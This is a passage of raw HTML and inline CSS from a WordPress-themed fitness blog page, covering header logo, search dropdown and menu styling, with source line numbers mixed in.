(max-width: 1140px){ 1560.tdi_26 .tdb-logo-img{ 1561 max-width: 100px; 1562 } 1563} 1564 1565/* portrait */ 1566@media (min-width: 768px) and (max-width: 1018px){ 1567.tdi_26 .tdb-logo-img{ 1568 max-width: 80px; 1569 }.tdi_26 .tdb-logo-img-wrap{ 1570 margin-top: 0px; 1571 1572 margin-bottom: 0px; 1573 1574 margin-right: 5px; 1575 1576 margin-left: 0px; 1577 }.tdi_26 .tdb-logo-img-wrap:first-child{ 1578 margin-top: 0; 1579 1580 margin-left: 0; 1581 }.tdi_26 .tdb-logo-img-wrap:last-child{ 1582 margin-bottom: 0; 1583 1584 margin-right: 0; 1585 }.tdi_26 .tdb-logo-text-tagline{ 1586 margin-top: 0; 1587 margin-left: 5px; 1588 1589 font-family:Noto Sans !important;font-size:18px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1590 }.tdi_26 .tdb-logo-text-title{ 1591 font-family:Bree Serif !important;font-size:20px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1592 } 1593} 1594 1595/* phone */ 1596@media (max-width: 767px){ 1597.tdi_26 .tdb-logo-img-wrap{ 1598 margin-top: 0px; 1599 1600 margin-bottom: 0px; 1601 1602 margin-right: 5px; 1603 1604 margin-left: 0px; 1605 1606 display: block; 1607 }.tdi_26 .tdb-logo-img-wrap:first-child{ 1608 margin-top: 0; 1609 1610 margin-left: 0; 1611 }.tdi_26 .tdb-logo-img-wrap:last-child{ 1612 margin-bottom: 0; 1613 1614 margin-right: 0; 1615 } 1616} 1617</style><div class="tdb-block-inner td-fix-index">
1617<a class="tdb-logo-a" href="https://thedailypump.com/"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img" src="https://thedailypump.com/wp-content/uploads/2020/05/thedailypumplogo-02.png" alt="Logo" title="" width="2196" height="714" /></span><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></a></div></div> <!-- ./block --><div class="td_block_wrap tdb_header_search tdi_27 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_27" > 1618<style> 1619 1620/* inline tdc_css att */ 1621 1622.tdi_27{ 1623margin-top:8px !important; 1624margin-left:15px !important; 1625padding-top:8px !important; 1626padding-left:15px !important; 1627border-color:rgba(0,0,0,0.12) !important; 1628border-style:solid !important; 1629border-width: 0px 0px 0px 1px !important; 1630} 1631 1632/* portrait */ 1633@media (min-width: 768px) and (max-width: 1018px) 1634{ 1635.tdi_27{ 1636margin-left:12px !important; 1637padding-left:14px !important; 1638} 1639} 1640 1641/* landscape */ 1642@media (min-width: 1019px) and (max-width: 1140px) 1643{ 1644.tdi_27{ 1645margin-left:18px !important; 1646padding-top:3px !important; 1647padding-left:20px !important; 1648} 1649} 1650 1651</style> 1652<style> 1653/* custom css */ 1654.tdb_module_header{ 1655 width: 100%; 1656 padding-bottom: 0; 1657 }.tdb_module_header .td-module-container{ 1658 display: flex; 1659 flex-direction: column; 1660 position: relative; 1661 }.tdb_module_header .td-module-container:before{ 1662 content: ''; 1663 position: absolute; 1664 bottom: 0; 1665 left: 0; 1666 width: 100%; 1667 height: 1px; 1668 }.tdb_module_header .td-image-wrap{ 1669 display: block; 1670 position: relative; 1671 padding-bottom: 70%; 1672 }.tdb_module_header .td-image-container{ 1673 position: relative; 1674 width: 100%; 1675 flex: 0 0 auto; 1676 }.tdb_module_header .td-module-thumb{ 1677 margin-bottom: 0; 1678 }.tdb_module_header .td-module-meta-info{ 1679 width: 100%; 1680 margin-bottom: 0; 1681 padding: 7px 0 0 0; 1682 z-index: 1; 1683 border: 0 solid #eaeaea; 1684 min-height: 0; 1685 }.tdb_module_header .entry-title{ 1686 margin: 0; 1687 font-size: 13px; 1688 font-weight: 500; 1689 line-height: 18px; 1690 }.tdb_module_header .td-post-author-name, 1691 .tdb_module_header .td-post-date, 1692 .tdb_module_header .td-module-comments{ 1693 vertical-align: text-top; 1694 }.tdb_module_header .td-post-author-name, 1695 .tdb_module_header .td-post-date{ 1696 top: 3px; 1697 }.tdb_module_header .td-thumb-css{ 1698 width: 100%; 1699 height: 100%; 1700 position: absolute; 1701 background-size: cover; 1702 background-position: center center; 1703 }.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category), 1704 .tdb_module_header .td-post-vid-time{ 1705 position: absolute; 1706 z-index: 2; 1707 bottom: 0; 1708 }.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category){ 1709 left: 0; 1710 }.tdb_module_header .td-post-vid-time{ 1711 right: 0; 1712 background-color: #000; 1713 padding: 3px 6px 4px; 1714 font-family: 'Open Sans', 'Open Sans Regular', sans-serif; 1715 font-size: 10px; 1716 font-weight: 600; 1717 line-height: 1; 1718 color: #fff; 1719 }.tdb_module_header .td-excerpt{ 1720 margin: 20px 0 0; 1721 line-height: 21px; 1722 }.tdb_module_header .td-read-more{ 1723 margin: 20px 0 0; 1724 }.tdb_module_search .tdb-author-photo{ 1725 display: inline-block; 1726 }.tdb_module_search .tdb-author-photo, 1727 .tdb_module_search .tdb-author-photo img{ 1728 vertical-align: middle; 1729 }.tdb_module_search .td-post-author-name{ 1730 white-space: normal; 1731 }.tdb_header_search{ 1732 margin-bottom: 0; 1733 clear: none; 1734 }.tdb_header_search .tdb-block-inner{ 1735 position: relative; 1736 display: inline-block; 1737 width: 100%; 1738 }.tdb_header_search .tdb-search-form{ 1739 position: relative; 1740 padding: 20px; 1741 border-width: 3px 0 0; 1742 border-style: solid; 1743 border-color: #4db2ec; 1744 pointer-events: auto; 1745 }.tdb_header_search .tdb-search-form:before{ 1746 content: ''; 1747 position: absolute; 1748 top: 0; 1749 left: 0; 1750 width: 100%; 1751 height: 100%; 1752 background-color: #fff; 1753 }.tdb_header_search .tdb-search-form-inner{ 1754 position: relative; 1755 display: flex; 1756 background-color: #fff; 1757 }.tdb_header_search .tdb-search-form-inner:after{ 1758 content: ''; 1759 position: absolute; 1760 top: 0; 1761 left: 0; 1762 width: 100%; 1763 height: 100%; 1764 border: 1px solid #e1e1e1; 1765 pointer-events: none; 1766 }.tdb_header_search .tdb-head-search-placeholder{ 1767 position: absolute; 1768 top: 50%; 1769 transform: translateY(-50%); 1770 padding: 3px 9px; 1771 font-size: 12px; 1772 line-height: 21px; 1773 color: #999; 1774 -webkit-transition: all 0.3s ease; 1775 transition: all 0.3s ease; 1776 pointer-events: none; 1777 }.tdb_header_search .tdb-head-search-form-input:focus + .tdb-head-search-placeholder, 1778 .tdb-head-search-form-input:not(:placeholder-shown) ~ .tdb-head-search-placeholder{ 1779 opacity: 0; 1780 }.tdb_header_search .tdb-head-search-form-btn, 1781 .tdb_header_search .tdb-head-search-form-input{ 1782 height: auto; 1783 min-height: 32px; 1784 }.tdb_header_search .tdb-head-search-form-input{ 1785 color: #444; 1786 flex: 1; 1787 background-color: transparent; 1788 border: 0; 1789 }.tdb_header_search .tdb-head-search-form-input.tdb-head-search-nofocus{ 1790 color: transparent; 1791 text-shadow: 0 0 0 #444; 1792 }.tdb_header_search .tdb-head-search-form-btn{ 1793 margin-bottom: 0; 1794 padding: 0 15px; 1795 background-color: #222222; 1796 font-family: 'Roboto', sans-serif; 1797 font-size: 13px; 1798 font-weight: 500; 1799 color: #fff; 1800 -webkit-transition: all 0.3s ease; 1801 transition: all 0.3s ease; 1802 z-index: 1; 1803 }.tdb_header_search .tdb-head-search-form-btn:hover{ 1804 background-color: #4db2ec; 1805 }.tdb_header_search .tdb-head-search-form-btn i, 1806 .tdb_header_search .tdb-head-search-form-btn span{ 1807 display: inline-block; 1808 vertical-align: middle; 1809 }.tdb_header_search .tdb-head-search-form-btn i{ 1810 font-size: 12px; 1811 }.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon{ 1812 position: relative; 1813 }.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon-svg{ 1814 line-height: 0; 1815 }.tdb_header_search .tdb-head-search-form-btn svg{ 1816 width: 12px; 1817 height: auto; 1818 }.tdb_header_search .tdb-head-search-form-btn svg, 1819 .tdb_header_search .tdb-head-search-form-btn svg *{ 1820 fill: #fff; 1821 -webkit-transition: all 0.3s ease; 1822 transition: all 0.3s ease; 1823 }.tdb_header_search .tdb-aj-search-results{ 1824 padding: 20px; 1825 background-color: rgba(144, 144, 144, 0.02); 1826 border-width: 1px 0; 1827 border-style: solid; 1828 border-color: #ededed; 1829 background-color: #fff; 1830 }.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child{ 1831 margin-bottom: 0; 1832 padding-bottom: 0; 1833 }.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child .td-module-container:before{ 1834 display: none; 1835 }.tdb_header_search .tdb-aj-search-inner{ 1836 display: flex; 1837 flex-wrap: wrap; 1838 *zoom: 1; 1839 }.tdb_header_search .tdb-aj-search-inner:before, 1840 .tdb_header_search .tdb-aj-search-inner:after{ 1841 display: table; 1842 content: ''; 1843 line-height: 0; 1844 }.tdb_header_search .tdb-aj-search-inner:after{ 1845 clear: both; 1846 }.tdb_header_search .result-msg{ 1847 padding: 4px 0 6px 0; 1848 font-family: 'Roboto', sans-serif; 1849 font-size: 12px; 1850 font-style: italic; 1851 background-color: #fff; 1852 }.tdb_header_search .result-msg a{ 1853 color: #222; 1854 }.tdb_header_search .result-msg a:hover{ 1855 color: #4db2ec; 1856 }.tdb_header_search .td-module-meta-info, 1857 .tdb_header_search .td-next-prev-wrap{ 1858 text-align: left; 1859 }.tdb_header_search .td_module_wrap:hover .entry-title a{ 1860 color: #4db2ec; 1861 }.tdb_header_search .tdb-aj-cur-element .entry-title a{ 1862 color: #4db2ec; 1863 }.tdc-dragged .tdb-head-search-btn:after, 1864 .tdc-dragged .tdb-drop-down-search{ 1865 visibility: hidden !important; 1866 opacity: 0 !important; 1867 -webkit-transition: all 0.3s ease; 1868 transition: all 0.3s ease; 1869 }.tdb-header-search-trigger-enabled{ 1870 z-index: 1000; 1871 }.tdb-header-search-trigger-enabled .tdb-head-search-btn{ 1872 display: flex; 1873 align-items: center; 1874 position: relative; 1875 text-align: center; 1876 color: #4db2ec; 1877 }.tdb-header-search-trigger-enabled .tdb-head-search-btn:after{ 1878 visibility: hidden; 1879 opacity: 0; 1880 content: ''; 1881 display: block; 1882 position: absolute; 1883 bottom: 0; 1884 left: 0; 1885 right: 0; 1886 margin: 0 auto; 1887 width: 0; 1888 height: 0; 1889 border-style: solid; 1890 border-width: 0 6.5px 7px 6.5px; 1891 -webkit-transform: translate3d(0, 20px, 0); 1892 transform: translate3d(0, 20px, 0); 1893 -webkit-transition: all 0.4s ease; 1894 transition: all 0.4s ease; 1895 border-color: transparent transparent #4db2ec transparent; 1896 }.tdb-header-search-trigger-enabled .tdb-drop-down-search-open + .tdb-head-search-btn:after{ 1897 visibility: visible; 1898 opacity: 1;
1899 -webkit-transform: translate3d(0, 0, 0); 1900 transform: translate3d(0, 0, 0); 1901 }.tdb-header-search-trigger-enabled .tdb-search-icon, 1902 .tdb-header-search-trigger-enabled .tdb-search-txt, 1903 .tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{ 1904 -webkit-transition: all 0.3s ease-in-out; 1905 transition: all 0.3s ease-in-out; 1906 }.tdb-header-search-trigger-enabled .tdb-search-icon-svg{ 1907 display: flex; 1908 align-items: center; 1909 justify-content: center; 1910 }.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg{ 1911 height: auto; 1912 }.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg, 1913 .tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{ 1914 fill: #4db2ec; 1915 }.tdb-header-search-trigger-enabled .tdb-search-txt{ 1916 position: relative; 1917 line-height: 1; 1918 }.tdb-header-search-trigger-enabled .tdb-drop-down-search{ 1919 visibility: hidden; 1920 opacity: 0; 1921 position: absolute; 1922 top: 100%; 1923 left: 0; 1924 -webkit-transform: translate3d(0, 20px, 0); 1925 transform: translate3d(0, 20px, 0); 1926 -webkit-transition: all 0.4s ease; 1927 transition: all 0.4s ease; 1928 pointer-events: none; 1929 z-index: 10; 1930 }.tdb-header-search-trigger-enabled .tdb-drop-down-search-open{ 1931 visibility: visible; 1932 opacity: 1; 1933 -webkit-transform: translate3d(0, 0, 0); 1934 transform: translate3d(0, 0, 0); 1935 }.tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{ 1936 position: relative; 1937 max-width: 300px; 1938 pointer-events: all; 1939 }.rtl .tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{ 1940 margin-left: 0; 1941 margin-right: auto; 1942 }.tdb_header_search .tdb-aj-srs-title{ 1943 margin-bottom: 10px; 1944 font-family: 'Roboto', sans-serif; 1945 font-weight: 500; 1946 font-size: 13px; 1947 line-height: 1.3; 1948 color: #888; 1949 }.tdb_header_search .tdb-aj-sr-taxonomies{ 1950 display: flex; 1951 flex-direction: column; 1952 }.tdb_header_search .tdb-aj-sr-taxonomy{ 1953 font-family: 'Roboto', sans-serif; 1954 font-size: 13px; 1955 font-weight: 500; 1956 line-height: 18px; 1957 color: #111; 1958 }.tdb_header_search .tdb-aj-sr-taxonomy:not(:last-child){ 1959 margin-bottom: 5px; 1960 }.tdb_header_search .tdb-aj-sr-taxonomy:hover{ 1961 color: #4db2ec; 1962 }.tdi_27 .tdb-head-search-btn i{ 1963 font-size: 22px; 1964 1965 width: 22px; 1966 height: 22px; 1967 line-height: 22px; 1968 1969 color: #333333; 1970 }.tdi_27 .tdb-head-search-btn svg{ 1971 width: 22px; 1972 }.tdi_27 .tdb-search-icon-svg{ 1973 width: 22px; 1974 height: 22px; 1975 }.tdi_27{ 1976 display: inline-block; 1977 }.tdi_27 .tdb-search-txt{ 1978 top: 0px; 1979 }.tdi_27 .tdb-drop-down-search{ 1980 top: calc(100% + 28px); 1981 }.tdi_27 .tdb-head-search-btn:after{ 1982 bottom: -28px; 1983 1984 border-bottom-color: #ffffff; 1985 }.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{ 1986 max-width: 800px; 1987 }.tdi_27 .tdb-search-form{ 1988 padding: 25px; 1989 1990 border-width: 0px; 1991 }.tdi_27 .tdb-head-search-form-input, 1992 .tdi_27 .tdb-head-search-placeholder{ 1993 padding: 6px 10px; 1994 }.tdi_27 .tdb-search-form-inner:after{ 1995 border-width: 1px 0 1px 1px ; 1996 1997 border-color: rgba(211,219,226,0.7); 1998 }.tdi_27 .tdb-head-search-form-btn svg{ 1999 width: 17px; 2000 }.tdi_27 .tdb-head-search-form-btn-icon{ 2001 margin-right: 8px; 2002 2003 top: 1px; 2004 }.tdi_27 .tdb-head-search-form-btn{ 2005 padding: 5px 18px 6px; 2006 2007 background-color: #e2b26f; 2008 2009 font-family:Bree Serif !important;font-size:13px !important;font-weight:400 !important;text-transform:uppercase !important; 2010 }.tdi_27 .tdb-aj-search-results{ 2011 padding: 10px 25px; 2012 2013 border-width: 0px; 2014 }.tdi_27 .result-msg{ 2015 padding: 10px 0 15px; 2016 2017 text-align: center; 2018 2019 font-family:Noto Sans !important;font-size:13px !important;
2019font-style:normal !important; 2020 }.tdi_27 .tdb-head-search-btn svg, 2021 .tdi_27 .tdb-head-search-btn svg *{ 2022 fill: #333333; 2023 }.tdi_27 .tdb-head-search-btn:hover i{ 2024 color: #e2b26f; 2025 }.tdi_27 .tdb-head-search-btn:hover svg, 2026 .tdi_27 .tdb-head-search-btn:hover svg *{ 2027 fill: #e2b26f; 2028 }.tdi_27 .tdb-drop-down-search-inner{ 2029 box-shadow: 0px 4px 16px 0px rgba(0,0,0,0.1); 2030 }.tdi_27 .tdb-head-search-form-input{ 2031 color: #333333; 2032 2033 font-family:Noto Sans !important;font-size:13px !important; 2034 }.tdi_27 .tdb-head-search-form-input.tdb-head-search-nofocus{ 2035 text-shadow: 0 0 0 #333333; 2036 }.tdi_27 .tdb-head-search-placeholder{ 2037 color: #aaaaaa; 2038 2039 font-family:Noto Sans !important;font-size:13px !important; 2040 }.tdi_27 .tdb-head-search-form-input:focus + .tdb-head-search-placeholder, 2041 .tdb-head-search-form-input:not(:placeholder-shown) ~ .tdb-head-search-placeholder{ 2042 opacity: 0.4; 2043 }.tdi_27 .tdb-head-search-form-btn:hover{ 2044 background-color: #333333; 2045 }.tdi_27 .result-msg, 2046 .tdi_27 .result-msg a{ 2047 color: #e2b26f; 2048 }.tdi_27 .result-msg a:hover{ 2049 color: #333333; 2050 }.tdi_27 .td_module_wrap{ 2051 width: 33.33333333%; 2052 float: left; 2053 2054 padding-left: 15px; 2055 padding-right: 15px; 2056 2057 padding-bottom: 17.5px; 2058 margin-bottom: 17.5px; 2059 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){ 2060 margin-bottom: 0; 2061 padding-bottom: 0; 2062 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2063 display: none; 2064 }.tdi_27 .tdb-aj-search-inner{ 2065 margin-left: -15px; 2066 margin-right: -15px; 2067 }.tdi_27 .td-module-container:before{ 2068 bottom: -17.5px; 2069 2070 border-color: #eaeaea; 2071 }.tdi_27 .td-module-container{ 2072 border-color: #eaeaea; 2073 2074 flex-direction: column; 2075 }.tdi_27 .entry-thumb{ 2076 background-position: center 30%; 2077 2078 border-radius: 5px; 2079 }.tdi_27 .td-image-wrap{ 2080 padding-bottom: 60%; 2081 }.tdi_27 .td-image-container{ 2082 flex: 0 0 100%; 2083 width: 100%; 2084 2085 display: block; order: 0; 2086 }.ie10 .tdi_27 .td-image-container, 2087 .ie11 .tdi_27 .td-image-container{ 2088 flex: 0 0 auto; 2089 }.ie10 .tdi_27 .td-module-meta-info, 2090 .ie11 .tdi_27 .td-module-meta-info{ 2091 flex: auto; 2092 }.tdi_27 .td-post-vid-time{ 2093 display: block; 2094 }.tdi_27 .td-module-meta-info{ 2095 padding: 16px 4px 4px; 2096 2097 border-color: #eaeaea; 2098 }.tdi_27 .entry-title{ 2099 margin: 0 0 10px 0; 2100 2101 font-family:Bree Serif !important;font-size:18px !important;line-height:1.2 !important; 2102 }.tdi_27 .td-excerpt{ 2103 margin: 0px; 2104 2105 column-count: 1; 2106 2107 column-gap: 48px; 2108 2109 display: none; 2110 }.tdi_27 .td-post-category{ 2111 padding: 0px; 2112 2113 background-color: rgba(255,255,255,0); 2114 2115 color: #aaaaaa; 2116 2117 font-family:Noto Sans !important;font-size:11px !important;font-weight:400 !important;text-transform:uppercase !important; 2118 }.tdi_27 .td-read-more{ 2119 display: none; 2120 }.tdi_27 .td-author-date{ 2121 display: none; 2122 }.tdi_27 .td-post-author-name{ 2123 display: none; 2124 }.tdi_27 .td-post-date, 2125 .tdi_27 .td-post-author-name span{ 2126 display: none; 2127 }.tdi_27 .entry-review-stars{ 2128 display: none; 2129 }.tdi_27 .td-icon-star, 2130 .tdi_27 .td-icon-star-empty, 2131 .tdi_27 .td-icon-star-half{ 2132 font-size: 15px; 2133 }.tdi_27 .td-module-comments{ 2134 display: none; 2135 }.tdi_27 .tdb-author-photo .avatar{ 2136 width: 20px; 2137 height: 20px; 2138 2139 margin-right: 6px; 2140 2141 border-radius: 50%; 2142 }.tdi_27 .td-post-category:hover{ 2143 background-color: rgba(255,255,255,0) !important; 2144 2145 color: #333333; 2146 }.tdi_27 .td-module-title a{ 2147 color: #333333; 2148 2149 box-shadow: inset 0 0 0 0 #000; 2150 }body .tdi_27 .td_module_wrap:hover .td-module-title a, 2151 .tdi_27 .tdb-aj-cur-element .entry-title a{ 2152 color: #e2b26f !important; 2153 }@media (min-width: 768px) { 2154 .tdi_27 .td-module-title a { 2155 transition: all 0.2s ease; 2156 -webkit-transition: all 0.2s ease; 2157 } 2158 } 2159 2160/* landscape */ 2161@media (min-width: 1019px) and (max-width: 1140px){ 2162.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{ 2163 max-width: 620px; 2164 }.tdi_27 .tdb-search-form{ 2165 padding: 22px; 2166 }.tdi_27 .tdb-head-search-form-input, 2167 .tdi_27 .tdb-head-search-placeholder{ 2168 padding: 4px 10p; 2169 }.tdi_27 .tdb-head-search-form-btn{ 2170 padding: 4px 18px; 2171 }.tdi_27 .tdb-aj-search-results{ 2172 padding: 10px 22px; 2173 }.tdi_27 .td_module_wrap{ 2174 padding-bottom: 15px !important; 2175 margin-bottom: 15px !important; 2176 2177 padding-left: 12.5px; 2178 padding-right: 12.5px; 2179 2180 padding-bottom: 15px; 2181 margin-bottom: 15px; 2182 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){
2183 margin-bottom: 0 !important; 2184 padding-bottom: 0 !important; 2185 }.tdi_27 .td_module_wrap .td-module-container:before{ 2186 display: block !important; 2187 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2188 display: none !important; 2189 }.tdi_27 .tdb-aj-search-inner{ 2190 margin-left: -12.5px; 2191 margin-right: -12.5px; 2192 }.tdi_27 .td-module-container:before{ 2193 bottom: -15px; 2194 }.tdi_27 .td-module-title a{ 2195 box-shadow: inset 0 0 0 0 #000; 2196 }.tdi_27 .entry-title{ 2197 font-family:Bree Serif !important;font-size:16px !important;line-height:1.2 !important; 2198 }@media (min-width: 768px) { 2199 .tdi_27 .td-module-title a { 2200 transition: all 0.2s ease; 2201 -webkit-transition: all 0.2s ease; 2202 } 2203 } 2204} 2205 2206/* portrait */ 2207@media (min-width: 768px) and (max-width: 1018px){ 2208.tdi_27 .tdb-head-search-btn i{ 2209 font-size: 18px; 2210 2211 width: 18px; 2212 height: 18px; 2213 line-height: 18px; 2214 }.tdi_27 .tdb-head-search-btn svg{ 2215 width: 18px; 2216 }.tdi_27 .tdb-search-icon-svg{ 2217 width: 18px; 2218 height: 18px; 2219 }.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{ 2220 max-width: 500px; 2221 }.tdi_27 .tdb-search-form{ 2222 padding: 20px; 2223 }.tdi_27 .tdb-aj-search-results{ 2224 padding: 5px 20px; 2225 }.tdi_27 .td_module_wrap{ 2226 padding-bottom: 12.5px !important; 2227 margin-bottom: 12.5px !important; 2228 2229 padding-left: 10px; 2230 padding-right: 10px; 2231 2232 padding-bottom: 12.5px; 2233 margin-bottom: 12.5px; 2234 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){ 2235 margin-bottom: 0 !important; 2236 padding-bottom: 0 !important; 2237 }.tdi_27 .td_module_wrap .td-module-container:before{ 2238 display: block !important; 2239 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2240 display: none !important; 2241 }.tdi_27 .tdb-aj-search-inner{ 2242 margin-left: -10px; 2243 margin-right: -10px; 2244 }.tdi_27 .td-module-container:before{ 2245 bottom: -12.5px; 2246 }.tdi_27 .td-module-meta-info{ 2247 padding: 12px 3px 3px; 2248 }.tdi_27 .td-module-title a{ 2249 box-shadow: inset 0 0 0 0 #000; 2250 }.tdi_27 .td-module-container:hover .td-module-title a{ 2251 box-shadow: inset 0 -2px 0 0 #000; 2252 }.tdi_27 .entry-title{ 2253 font-family:Bree Serif !important;font-size:14px !important;line-height:1.2 !important; 2254 }.tdi_27 .td-post-category{ 2255 font-family:Noto Sans !important;font-size:10px !important;font-weight:400 !important;text-transform:uppercase !important; 2256 }@media (min-width: 768px) { 2257 .tdi_27 .td-module-title a { 2258 transition: all 0.2s ease; 2259 -webkit-transition: all 0.2s ease; 2260 } 2261 } 2262} 2263 2264/* phone */ 2265@media (max-width: 767px){ 2266.tdi_27 .td_module_wrap{ 2267 padding-bottom: 17.5px !important; 2268 margin-bottom: 17.5px !important; 2269 2270 padding-bottom: 17.5px; 2271 margin-bottom: 17.5px; 2272 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){ 2273 margin-bottom: 0 !important; 2274 padding-bottom: 0 !important; 2275 }.tdi_27 .td_module_wrap .td-module-container:before{ 2276 display: block !important; 2277 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2278 display: none !important; 2279 }.tdi_27 .td-module-container:before{ 2280 bottom: -17.5px; 2281 }.tdi_27 .td-module-title a{ 2282 box-shadow: inset 0 0 0 0 #000; 2283 }@media (min-width: 768px) { 2284 .tdi_27 .td-module-title a { 2285 transition: all 0.2s ease; 2286 -webkit-transition: all 0.2s ease; 2287 } 2288 } 2289} 2290</style><div class="tdb-block-inner td-fix-index"><div class="tdb-drop-down-search" aria-labelledby="td-header-search-button"><div class="tdb-drop-down-search-inner"><form method="get" class="tdb-search-form" action="https://thedailypump.
2290com/"><div class="tdb-search-form-inner"><input class="tdb-head-search-form-input" placeholder=" " type="text" value="" name="s" autocomplete="off" /><input type="hidden" value="post" name="post_type" /><button class="wpb_button wpb_btn-inverse btn tdb-head-search-form-btn" type="submit"><span class="tdb-head-search-form-btn-icon tdb-head-search-form-btn-icon-svg"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M16.384 495.543h992.256v51.2h-992.256v-51.2z"></path></svg></span><span>Search</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Search" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><span class="tdb-search-icon tdb-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M958.484 910.161l-134.564-134.502c63.099-76.595 94.781-170.455 94.72-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.244-81.183-187.976-121.958-294.359-121.938-106.435-0.020-213.187 40.796-294.369 121.938-81.234 81.203-122.010 188.017-121.989 294.369-0.020 106.445 40.755 213.166 121.989 294.287 81.193 81.285 187.945 122.020 294.369 121.979 93.716 0.041 187.597-31.642 264.11-94.659l134.554 134.564 57.457-57.467zM265.431 748.348c-65.546-65.495-98.13-150.999-98.171-236.882 0.041-85.832 32.625-171.346 98.171-236.913 65.567-65.536 151.081-98.099 236.933-98.14 85.821 0.041 171.336 32.604 236.902 98.14 65.495 65.516 98.12 151.122 98.12 236.913 0 85.924-32.625 171.387-98.12 236.882-65.556 65.495-151.009 98.099-236.902 98.099-85.852 0-171.366-32.604-236.933-98.099zM505.385 272.864c-61.901 0.020-123.566 23.501-170.824 70.799-47.288 47.258-70.769 108.923-70.799 170.834-0.041 26.624 4.383 53.105 13.046 78.428-0.031-0.522-0.092-1.024-0.031-1.556 13.199-91.341 48.241-159.775 96.963-208.497v-0.020h0.031c48.712-48.722 117.135-83.763 208.486-96.963 0.522-0.061 1.024 0 1.536 0.041-25.313-8.684-51.794-13.087-78.408-13.066z"></path></svg></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_29 wpb_column vc_column_container tdc-column td-pb-span9"> 2291<style scoped> 2292 2293/* custom css */ 2294.tdi_29{ 2295 vertical-align: baseline; 2296 }.tdi_29 > .wpb_wrapper, 2297 .tdi_29 > .wpb_wrapper > .tdc-elements{ 2298 display: block; 2299 }.tdi_29 > .wpb_wrapper > .tdc-elements{ 2300 width: 100%; 2301 }.tdi_29 > .wpb_wrapper > .vc_row_inner{ 2302 width: auto; 2303 }.tdi_29 > .wpb_wrapper{ 2304 width: auto; 2305 height: auto; 2306 } 2307/* inline tdc_css att */ 2308 2309.tdi_29{ 2310width:80% !important; 2311justify-content:flex-end !important; 2312text-align:right !important; 2313} 2314 2315/* landscape */ 2316@media (min-width: 1019px) and (max-width: 1140px) 2317{ 2318.tdi_29{ 2319width:78% !important; 2320} 2321} 2322 2323/* portrait */ 2324@media (min-width: 768px) and (max-width: 1018px) 2325{ 2326.tdi_29{ 2327width:76% !important; 2328} 2329} 2330 2331</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_menu tdi_30 tds_menu_active1 tds_menu_sub_active1 tdb-head-menu-inline tdb-mm-align-screen td-pb-border-top td-mega-menu-articles td_block_template_1 tdb-header-align" data-td-block-uid="tdi_30" style=" z-index: 999;"> 2332<style> 2333/* custom css */ 2334.tdb_header_menu{ 2335 margin-bottom: 0; 2336 z-index: 999; 2337 clear: none; 2338 }.tdb_header_menu .tdb-main-sub-icon-fake, 2339 .tdb_header_menu .tdb-sub-icon-fake{ 2340 display: none; 2341 }.rtl .tdb_header_menu .tdb-menu{ 2342 display: flex; 2343 }.tdb_header_menu .tdb-menu{ 2344 display: inline-block; 2345 vertical-align: middle; 2346 margin: 0; 2347 }.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive, 2348 .tdb_header_menu .tdb-menu .tdb-menu-item-inactive{ 2349 pointer-events: none; 2350 }.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive > ul, 2351 .tdb_header_menu .tdb-menu .tdb-menu-item-inactive > ul{ 2352 visibility: hidden; 2353 opacity: 0; 2354 }.tdb_header_menu .tdb-menu .sub-menu{ 2355 font-size: 14px; 2356 2357 position: absolute; 2358 top: -999em; 2359 background-color: #fff; 2360 z-index: 99; 2361 }.tdb_header_menu .tdb-menu .sub-menu > li{ 2362 list-style-type: none; 2363 margin: 0; 2364 font-family: 'Open Sans', 'Open Sans Regular', sans-serif; 2365 }.tdb_header_menu .tdb-menu > li{ 2366 float: left; 2367 list-style-type: none; 2368 margin: 0; 2369 }.tdb_header_menu .tdb-menu > li > a{ 2370 position: relative; 2371 display: inline-block; 2372 padding: 0 14px; 2373 font-weight: 700; 2374 font-size: 14px; 2375 line-height: 48px; 2376 vertical-align: middle; 2377 text-transform: uppercase; 2378 -webkit-backface-visibility: hidden; 2379 color: #000; 2380 font-family: 'Open Sans', 'Open Sans Regular', sans-serif; 2381 }.tdb_header_menu .tdb-menu > li > a:after{ 2382 content: ''; 2383 position: absolute; 2384 bottom: 0; 2385 left: 0; 2386 right: 0; 2387 margin: 0 auto; 2388 width: 0; 2389 height: 3px; 2390 